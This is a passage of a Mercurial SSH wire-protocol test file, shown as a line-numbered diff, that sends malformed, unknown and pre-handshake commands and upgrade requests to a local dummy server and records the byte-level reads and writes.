433 o> 0\n
434 o> readline() -> 2:
434 o> readline() -> 2:
435 o> 0\n
435 o> 0\n
436 i> write(6) -> None:
436 i> write(6) -> 6:
437 i> hello\n
437 i> hello\n
438 o> readline() -> 4:
438 o> readline() -> 4:
439 o> 384\n
439 o> 384\n
440 o> readline() -> 384:
440 o> readline() -> 384:
441 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
441 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
442 i> write(98) -> None:
442 i> write(98) -> 98:
443 i> between\n
443 i> between\n
444 i> pairs 81\n
444 i> pairs 81\n
445 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
445 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
446 o> readline() -> 2:
446 o> readline() -> 2:
447 o> 1\n
447 o> 1\n
448 o> readline() -> 1:
448 o> readline() -> 1:
449 o> \n
449 o> \n
450
450
451 Send an unknown command having an argument that looks numeric
451 Send an unknown command having an argument that looks numeric
452
452
453 $ hg debugwireproto --localssh --peer raw << EOF
453 $ hg debugwireproto --localssh --peer raw << EOF
454 > raw
454 > raw
455 > unknown\n
455 > unknown\n
456 > foo 1\n
456 > foo 1\n
457 > 0\n
457 > 0\n
458 > readline
458 > readline
459 > readline
459 > readline
460 > readline
460 > readline
461 > raw
461 > raw
462 > hello\n
462 > hello\n
463 > readline
463 > readline
464 > readline
464 > readline
465 > raw
465 > raw
466 > between\n
466 > between\n
467 > pairs 81\n
467 > pairs 81\n
468 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
468 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
469 > readline
469 > readline
470 > readline
470 > readline
471 > EOF
471 > EOF
472 using raw connection to peer
472 using raw connection to peer
473 i> write(16) -> None:
473 i> write(16) -> 16:
474 i> unknown\n
474 i> unknown\n
475 i> foo 1\n
475 i> foo 1\n
476 i> 0\n
476 i> 0\n
477 o> readline() -> 2:
477 o> readline() -> 2:
478 o> 0\n
478 o> 0\n
479 o> readline() -> 2:
479 o> readline() -> 2:
480 o> 0\n
480 o> 0\n
481 o> readline() -> 2:
481 o> readline() -> 2:
482 o> 0\n
482 o> 0\n
483 i> write(6) -> None:
483 i> write(6) -> 6:
484 i> hello\n
484 i> hello\n
485 o> readline() -> 4:
485 o> readline() -> 4:
486 o> 384\n
486 o> 384\n
487 o> readline() -> 384:
487 o> readline() -> 384:
488 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
488 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
489 i> write(98) -> None:
489 i> write(98) -> 98:
490 i> between\n
490 i> between\n
491 i> pairs 81\n
491 i> pairs 81\n
492 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
492 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
493 o> readline() -> 2:
493 o> readline() -> 2:
494 o> 1\n
494 o> 1\n
495 o> readline() -> 1:
495 o> readline() -> 1:
496 o> \n
496 o> \n
497
497
498 $ hg debugwireproto --localssh --peer raw << EOF
498 $ hg debugwireproto --localssh --peer raw << EOF
499 > raw
499 > raw
500 > unknown\n
500 > unknown\n
501 > foo 1\n
501 > foo 1\n
502 > 1\n
502 > 1\n
503 > readline
503 > readline
504 > readline
504 > readline
505 > readline
505 > readline
506 > raw
506 > raw
507 > hello\n
507 > hello\n
508 > readline
508 > readline
509 > readline
509 > readline
510 > raw
510 > raw
511 > between\n
511 > between\n
512 > pairs 81\n
512 > pairs 81\n
513 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
513 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
514 > readline
514 > readline
515 > readline
515 > readline
516 > EOF
516 > EOF
517 using raw connection to peer
517 using raw connection to peer
518 i> write(16) -> None:
518 i> write(16) -> 16:
519 i> unknown\n
519 i> unknown\n
520 i> foo 1\n
520 i> foo 1\n
521 i> 1\n
521 i> 1\n
522 o> readline() -> 2:
522 o> readline() -> 2:
523 o> 0\n
523 o> 0\n
524 o> readline() -> 2:
524 o> readline() -> 2:
525 o> 0\n
525 o> 0\n
526 o> readline() -> 2:
526 o> readline() -> 2:
527 o> 0\n
527 o> 0\n
528 i> write(6) -> None:
528 i> write(6) -> 6:
529 i> hello\n
529 i> hello\n
530 o> readline() -> 4:
530 o> readline() -> 4:
531 o> 384\n
531 o> 384\n
532 o> readline() -> 384:
532 o> readline() -> 384:
533 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
533 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
534 i> write(98) -> None:
534 i> write(98) -> 98:
535 i> between\n
535 i> between\n
536 i> pairs 81\n
536 i> pairs 81\n
537 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
537 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
538 o> readline() -> 2:
538 o> readline() -> 2:
539 o> 1\n
539 o> 1\n
540 o> readline() -> 1:
540 o> readline() -> 1:
541 o> \n
541 o> \n
542
542
543 When sending a dict argument value, it is serialized to
543 When sending a dict argument value, it is serialized to
544 "<arg> <item count>" followed by "<key> <len>\n<value>" for each item
544 "<arg> <item count>" followed by "<key> <len>\n<value>" for each item
545 in the dict.
545 in the dict.
546
546
547 Dictionary value for unknown command
547 Dictionary value for unknown command
548
548
549 $ hg debugwireproto --localssh --peer raw << EOF
549 $ hg debugwireproto --localssh --peer raw << EOF
550 > raw
550 > raw
551 > unknown\n
551 > unknown\n
552 > dict 3\n
552 > dict 3\n
553 > key1 3\n
553 > key1 3\n
554 > foo\n
554 > foo\n
555 > key2 3\n
555 > key2 3\n
556 > bar\n
556 > bar\n
557 > key3 3\n
557 > key3 3\n
558 > baz\n
558 > baz\n
559 > readline
559 > readline
560 > readline
560 > readline
561 > readline
561 > readline
562 > readline
562 > readline
563 > readline
563 > readline
564 > readline
564 > readline
565 > readline
565 > readline
566 > readline
566 > readline
567 > raw
567 > raw
568 > hello\n
568 > hello\n
569 > readline
569 > readline
570 > readline
570 > readline
571 > EOF
571 > EOF
572 using raw connection to peer
572 using raw connection to peer
573 i> write(48) -> None:
573 i> write(48) -> 48:
574 i> unknown\n
574 i> unknown\n
575 i> dict 3\n
575 i> dict 3\n
576 i> key1 3\n
576 i> key1 3\n
577 i> foo\n
577 i> foo\n
578 i> key2 3\n
578 i> key2 3\n
579 i> bar\n
579 i> bar\n
580 i> key3 3\n
580 i> key3 3\n
581 i> baz\n
581 i> baz\n
582 o> readline() -> 2:
582 o> readline() -> 2:
583 o> 0\n
583 o> 0\n
584 o> readline() -> 2:
584 o> readline() -> 2:
585 o> 0\n
585 o> 0\n
586 o> readline() -> 2:
586 o> readline() -> 2:
587 o> 0\n
587 o> 0\n
588 o> readline() -> 2:
588 o> readline() -> 2:
589 o> 0\n
589 o> 0\n
590 o> readline() -> 2:
590 o> readline() -> 2:
591 o> 0\n
591 o> 0\n
592 o> readline() -> 2:
592 o> readline() -> 2:
593 o> 0\n
593 o> 0\n
594 o> readline() -> 2:
594 o> readline() -> 2:
595 o> 0\n
595 o> 0\n
596 o> readline() -> 2:
596 o> readline() -> 2:
597 o> 0\n
597 o> 0\n
598 i> write(6) -> None:
598 i> write(6) -> 6:
599 i> hello\n
599 i> hello\n
600 o> readline() -> 4:
600 o> readline() -> 4:
601 o> 384\n
601 o> 384\n
602 o> readline() -> 384:
602 o> readline() -> 384:
603 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
603 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
604
604
605 Incomplete dictionary send
605 Incomplete dictionary send
606
606
607 $ hg debugwireproto --localssh --peer raw << EOF
607 $ hg debugwireproto --localssh --peer raw << EOF
608 > raw
608 > raw
609 > unknown\n
609 > unknown\n
610 > dict 3\n
610 > dict 3\n
611 > key1 3\n
611 > key1 3\n
612 > foo\n
612 > foo\n
613 > readline
613 > readline
614 > readline
614 > readline
615 > readline
615 > readline
616 > readline
616 > readline
617 > EOF
617 > EOF
618 using raw connection to peer
618 using raw connection to peer
619 i> write(26) -> None:
619 i> write(26) -> 26:
620 i> unknown\n
620 i> unknown\n
621 i> dict 3\n
621 i> dict 3\n
622 i> key1 3\n
622 i> key1 3\n
623 i> foo\n
623 i> foo\n
624 o> readline() -> 2:
624 o> readline() -> 2:
625 o> 0\n
625 o> 0\n
626 o> readline() -> 2:
626 o> readline() -> 2:
627 o> 0\n
627 o> 0\n
628 o> readline() -> 2:
628 o> readline() -> 2:
629 o> 0\n
629 o> 0\n
630 o> readline() -> 2:
630 o> readline() -> 2:
631 o> 0\n
631 o> 0\n
632
632
633 Incomplete value send
633 Incomplete value send
634
634
635 $ hg debugwireproto --localssh --peer raw << EOF
635 $ hg debugwireproto --localssh --peer raw << EOF
636 > raw
636 > raw
637 > unknown\n
637 > unknown\n
638 > dict 3\n
638 > dict 3\n
639 > key1 3\n
639 > key1 3\n
640 > fo
640 > fo
641 > readline
641 > readline
642 > readline
642 > readline
643 > readline
643 > readline
644 > EOF
644 > EOF
645 using raw connection to peer
645 using raw connection to peer
646 i> write(24) -> None:
646 i> write(24) -> 24:
647 i> unknown\n
647 i> unknown\n
648 i> dict 3\n
648 i> dict 3\n
649 i> key1 3\n
649 i> key1 3\n
650 i> fo
650 i> fo
651 o> readline() -> 2:
651 o> readline() -> 2:
652 o> 0\n
652 o> 0\n
653 o> readline() -> 2:
653 o> readline() -> 2:
654 o> 0\n
654 o> 0\n
655 o> readline() -> 2:
655 o> readline() -> 2:
656 o> 0\n
656 o> 0\n
657
657
658 Send a command line with spaces
658 Send a command line with spaces
659
659
660 $ hg debugwireproto --localssh --peer raw << EOF
660 $ hg debugwireproto --localssh --peer raw << EOF
661 > raw
661 > raw
662 > unknown withspace\n
662 > unknown withspace\n
663 > readline
663 > readline
664 > raw
664 > raw
665 > hello\n
665 > hello\n
666 > readline
666 > readline
667 > readline
667 > readline
668 > raw
668 > raw
669 > between\n
669 > between\n
670 > pairs 81\n
670 > pairs 81\n
671 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
671 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
672 > readline
672 > readline
673 > readline
673 > readline
674 > EOF
674 > EOF
675 using raw connection to peer
675 using raw connection to peer
676 i> write(18) -> None:
676 i> write(18) -> 18:
677 i> unknown withspace\n
677 i> unknown withspace\n
678 o> readline() -> 2:
678 o> readline() -> 2:
679 o> 0\n
679 o> 0\n
680 i> write(6) -> None:
680 i> write(6) -> 6:
681 i> hello\n
681 i> hello\n
682 o> readline() -> 4:
682 o> readline() -> 4:
683 o> 384\n
683 o> 384\n
684 o> readline() -> 384:
684 o> readline() -> 384:
685 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
685 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
686 i> write(98) -> None:
686 i> write(98) -> 98:
687 i> between\n
687 i> between\n
688 i> pairs 81\n
688 i> pairs 81\n
689 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
689 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
690 o> readline() -> 2:
690 o> readline() -> 2:
691 o> 1\n
691 o> 1\n
692 o> readline() -> 1:
692 o> readline() -> 1:
693 o> \n
693 o> \n
694
694
695 $ hg debugwireproto --localssh --peer raw << EOF
695 $ hg debugwireproto --localssh --peer raw << EOF
696 > raw
696 > raw
697 > unknown with multiple spaces\n
697 > unknown with multiple spaces\n
698 > readline
698 > readline
699 > raw
699 > raw
700 > hello\n
700 > hello\n
701 > readline
701 > readline
702 > readline
702 > readline
703 > raw
703 > raw
704 > between\n
704 > between\n
705 > pairs 81\n
705 > pairs 81\n
706 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
706 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
707 > readline
707 > readline
708 > EOF
708 > EOF
709 using raw connection to peer
709 using raw connection to peer
710 i> write(29) -> None:
710 i> write(29) -> 29:
711 i> unknown with multiple spaces\n
711 i> unknown with multiple spaces\n
712 o> readline() -> 2:
712 o> readline() -> 2:
713 o> 0\n
713 o> 0\n
714 i> write(6) -> None:
714 i> write(6) -> 6:
715 i> hello\n
715 i> hello\n
716 o> readline() -> 4:
716 o> readline() -> 4:
717 o> 384\n
717 o> 384\n
718 o> readline() -> 384:
718 o> readline() -> 384:
719 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
719 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
720 i> write(98) -> None:
720 i> write(98) -> 98:
721 i> between\n
721 i> between\n
722 i> pairs 81\n
722 i> pairs 81\n
723 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
723 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
724 o> readline() -> 2:
724 o> readline() -> 2:
725 o> 1\n
725 o> 1\n
726
726
727 $ hg debugwireproto --localssh --peer raw << EOF
727 $ hg debugwireproto --localssh --peer raw << EOF
728 > raw
728 > raw
729 > unknown with spaces\n
729 > unknown with spaces\n
730 > key 10\n
730 > key 10\n
731 > some value\n
731 > some value\n
732 > readline
732 > readline
733 > readline
733 > readline
734 > readline
734 > readline
735 > raw
735 > raw
736 > hello\n
736 > hello\n
737 > readline
737 > readline
738 > readline
738 > readline
739 > raw
739 > raw
740 > between\n
740 > between\n
741 > pairs 81\n
741 > pairs 81\n
742 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
742 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
743 > readline
743 > readline
744 > readline
744 > readline
745 > EOF
745 > EOF
746 using raw connection to peer
746 using raw connection to peer
747 i> write(38) -> None:
747 i> write(38) -> 38:
748 i> unknown with spaces\n
748 i> unknown with spaces\n
749 i> key 10\n
749 i> key 10\n
750 i> some value\n
750 i> some value\n
751 o> readline() -> 2:
751 o> readline() -> 2:
752 o> 0\n
752 o> 0\n
753 o> readline() -> 2:
753 o> readline() -> 2:
754 o> 0\n
754 o> 0\n
755 o> readline() -> 2:
755 o> readline() -> 2:
756 o> 0\n
756 o> 0\n
757 i> write(6) -> None:
757 i> write(6) -> 6:
758 i> hello\n
758 i> hello\n
759 o> readline() -> 4:
759 o> readline() -> 4:
760 o> 384\n
760 o> 384\n
761 o> readline() -> 384:
761 o> readline() -> 384:
762 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
762 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
763 i> write(98) -> None:
763 i> write(98) -> 98:
764 i> between\n
764 i> between\n
765 i> pairs 81\n
765 i> pairs 81\n
766 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
766 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
767 o> readline() -> 2:
767 o> readline() -> 2:
768 o> 1\n
768 o> 1\n
769 o> readline() -> 1:
769 o> readline() -> 1:
770 o> \n
770 o> \n
771
771
772 Send an unknown command after the "between"
772 Send an unknown command after the "between"
773
773
774 $ hg debugwireproto --localssh --peer raw << EOF
774 $ hg debugwireproto --localssh --peer raw << EOF
775 > raw
775 > raw
776 > hello\n
776 > hello\n
777 > readline
777 > readline
778 > readline
778 > readline
779 > raw
779 > raw
780 > between\n
780 > between\n
781 > pairs 81\n
781 > pairs 81\n
782 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown
782 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown
783 > readline
783 > readline
784 > readline
784 > readline
785 > EOF
785 > EOF
786 using raw connection to peer
786 using raw connection to peer
787 i> write(6) -> None:
787 i> write(6) -> 6:
788 i> hello\n
788 i> hello\n
789 o> readline() -> 4:
789 o> readline() -> 4:
790 o> 384\n
790 o> 384\n
791 o> readline() -> 384:
791 o> readline() -> 384:
792 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
792 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
793 i> write(105) -> None:
793 i> write(105) -> 105:
794 i> between\n
794 i> between\n
795 i> pairs 81\n
795 i> pairs 81\n
796 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown
796 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown
797 o> readline() -> 2:
797 o> readline() -> 2:
798 o> 1\n
798 o> 1\n
799 o> readline() -> 1:
799 o> readline() -> 1:
800 o> \n
800 o> \n
801
801
802 And one with arguments
802 And one with arguments
803
803
804 $ hg debugwireproto --localssh --peer raw << EOF
804 $ hg debugwireproto --localssh --peer raw << EOF
805 > raw
805 > raw
806 > hello\n
806 > hello\n
807 > between\n
807 > between\n
808 > pairs 81\n
808 > pairs 81\n
809 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
809 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
810 > readline
810 > readline
811 > readline
811 > readline
812 > readline
812 > readline
813 > readline
813 > readline
814 > raw
814 > raw
815 > unknown\n
815 > unknown\n
816 > foo 5\n
816 > foo 5\n
817 > \nvalue\n
817 > \nvalue\n
818 > bar 3\n
818 > bar 3\n
819 > baz\n
819 > baz\n
820 > readline
820 > readline
821 > readline
821 > readline
822 > readline
822 > readline
823 > EOF
823 > EOF
824 using raw connection to peer
824 using raw connection to peer
825 i> write(104) -> None:
825 i> write(104) -> 104:
826 i> hello\n
826 i> hello\n
827 i> between\n
827 i> between\n
828 i> pairs 81\n
828 i> pairs 81\n
829 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
829 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
830 o> readline() -> 4:
830 o> readline() -> 4:
831 o> 384\n
831 o> 384\n
832 o> readline() -> 384:
832 o> readline() -> 384:
833 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
833 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
834 o> readline() -> 2:
834 o> readline() -> 2:
835 o> 1\n
835 o> 1\n
836 o> readline() -> 1:
836 o> readline() -> 1:
837 o> \n
837 o> \n
838 i> write(31) -> None:
838 i> write(31) -> 31:
839 i> unknown\n
839 i> unknown\n
840 i> foo 5\n
840 i> foo 5\n
841 i> \n
841 i> \n
842 i> value\n
842 i> value\n
843 i> bar 3\n
843 i> bar 3\n
844 i> baz\n
844 i> baz\n
845 o> readline() -> 2:
845 o> readline() -> 2:
846 o> 0\n
846 o> 0\n
847 o> readline() -> 2:
847 o> readline() -> 2:
848 o> 0\n
848 o> 0\n
849 o> readline() -> 0:
849 o> readline() -> 0:
850
850
851 Send a valid command before the handshake
851 Send a valid command before the handshake
852
852
853 $ hg debugwireproto --localssh --peer raw << EOF
853 $ hg debugwireproto --localssh --peer raw << EOF
854 > raw
854 > raw
855 > heads\n
855 > heads\n
856 > readline
856 > readline
857 > raw
857 > raw
858 > hello\n
858 > hello\n
859 > between\n
859 > between\n
860 > pairs 81\n
860 > pairs 81\n
861 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
861 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
862 > readline
862 > readline
863 > readline
863 > readline
864 > readline
864 > readline
865 > readline
865 > readline
866 > EOF
866 > EOF
867 using raw connection to peer
867 using raw connection to peer
868 i> write(6) -> None:
868 i> write(6) -> 6:
869 i> heads\n
869 i> heads\n
870 o> readline() -> 3:
870 o> readline() -> 3:
871 o> 41\n
871 o> 41\n
872 i> write(104) -> None:
872 i> write(104) -> 104:
873 i> hello\n
873 i> hello\n
874 i> between\n
874 i> between\n
875 i> pairs 81\n
875 i> pairs 81\n
876 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
876 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
877 o> readline() -> 41:
877 o> readline() -> 41:
878 o> 68986213bd4485ea51533535e3fc9e78007a711f\n
878 o> 68986213bd4485ea51533535e3fc9e78007a711f\n
879 o> readline() -> 4:
879 o> readline() -> 4:
880 o> 384\n
880 o> 384\n
881 o> readline() -> 384:
881 o> readline() -> 384:
882 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
882 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
883 o> readline() -> 2:
883 o> readline() -> 2:
884 o> 1\n
884 o> 1\n
885
885
886 And a variation that doesn't send the between command
886 And a variation that doesn't send the between command
887
887
888 $ hg debugwireproto --localssh --peer raw << EOF
888 $ hg debugwireproto --localssh --peer raw << EOF
889 > raw
889 > raw
890 > heads\n
890 > heads\n
891 > readline
891 > readline
892 > raw
892 > raw
893 > hello\n
893 > hello\n
894 > readline
894 > readline
895 > readline
895 > readline
896 > EOF
896 > EOF
897 using raw connection to peer
897 using raw connection to peer
898 i> write(6) -> None:
898 i> write(6) -> 6:
899 i> heads\n
899 i> heads\n
900 o> readline() -> 3:
900 o> readline() -> 3:
901 o> 41\n
901 o> 41\n
902 i> write(6) -> None:
902 i> write(6) -> 6:
903 i> hello\n
903 i> hello\n
904 o> readline() -> 41:
904 o> readline() -> 41:
905 o> 68986213bd4485ea51533535e3fc9e78007a711f\n
905 o> 68986213bd4485ea51533535e3fc9e78007a711f\n
906 o> readline() -> 4:
906 o> readline() -> 4:
907 o> 384\n
907 o> 384\n
908
908
909 Send an upgrade request to a server that doesn't support that command
909 Send an upgrade request to a server that doesn't support that command
910
910
911 $ hg debugwireproto --localssh --peer raw << EOF
911 $ hg debugwireproto --localssh --peer raw << EOF
912 > raw
912 > raw
913 > upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n
913 > upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n
914 > readline
914 > readline
915 > raw
915 > raw
916 > hello\n
916 > hello\n
917 > between\n
917 > between\n
918 > pairs 81\n
918 > pairs 81\n
919 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
919 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
920 > readline
920 > readline
921 > readline
921 > readline
922 > readline
922 > readline
923 > readline
923 > readline
924 > EOF
924 > EOF
925 using raw connection to peer
925 using raw connection to peer
926 i> write(77) -> None:
926 i> write(77) -> 77:
927 i> upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n
927 i> upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n
928 o> readline() -> 2:
928 o> readline() -> 2:
929 o> 0\n
929 o> 0\n
930 i> write(104) -> None:
930 i> write(104) -> 104:
931 i> hello\n
931 i> hello\n
932 i> between\n
932 i> between\n
933 i> pairs 81\n
933 i> pairs 81\n
934 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
934 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
935 o> readline() -> 4:
935 o> readline() -> 4:
936 o> 384\n
936 o> 384\n
937 o> readline() -> 384:
937 o> readline() -> 384:
938 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
938 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
939 o> readline() -> 2:
939 o> readline() -> 2:
940 o> 1\n
940 o> 1\n
941 o> readline() -> 1:
941 o> readline() -> 1:
942 o> \n
942 o> \n
943
943
944 $ cd ..
944 $ cd ..
945
945
946 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server
946 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server
947 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
947 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
948 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
948 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
949 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
949 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
950 devel-peer-request: hello
950 devel-peer-request: hello
951 sending hello command
951 sending hello command
952 devel-peer-request: between
952 devel-peer-request: between
953 devel-peer-request: pairs: 81 bytes
953 devel-peer-request: pairs: 81 bytes
954 sending between command
954 sending between command
955 remote: 0
955 remote: 0
956 remote: 384
956 remote: 384
957 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
957 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
958 remote: 1
958 remote: 1
959 url: ssh://user@dummy/server
959 url: ssh://user@dummy/server
960 local: no
960 local: no
961 pushable: yes
961 pushable: yes
962
962
963 Enable version 2 support on server. We need to do this in hgrc because we can't
963 Enable version 2 support on server. We need to do this in hgrc because we can't
964 use --config with `hg serve --stdio`.
964 use --config with `hg serve --stdio`.
965
965
966 $ cat >> server/.hg/hgrc << EOF
966 $ cat >> server/.hg/hgrc << EOF
967 > [experimental]
967 > [experimental]
968 > sshserver.support-v2 = true
968 > sshserver.support-v2 = true
969 > EOF
969 > EOF
970
970
971 Send an upgrade request to a server that supports upgrade
971 Send an upgrade request to a server that supports upgrade
972
972
973 $ cd server
973 $ cd server
974
974
975 $ hg debugwireproto --localssh --peer raw << EOF
975 $ hg debugwireproto --localssh --peer raw << EOF
976 > raw
976 > raw
977 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
977 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
978 > hello\n
978 > hello\n
979 > between\n
979 > between\n
980 > pairs 81\n
980 > pairs 81\n
981 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
981 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
982 > readline
982 > readline
983 > readline
983 > readline
984 > readline
984 > readline
985 > EOF
985 > EOF
986 using raw connection to peer
986 using raw connection to peer
987 i> write(153) -> None:
987 i> write(153) -> 153:
988 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
988 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
989 i> hello\n
989 i> hello\n
990 i> between\n
990 i> between\n
991 i> pairs 81\n
991 i> pairs 81\n
992 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
992 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
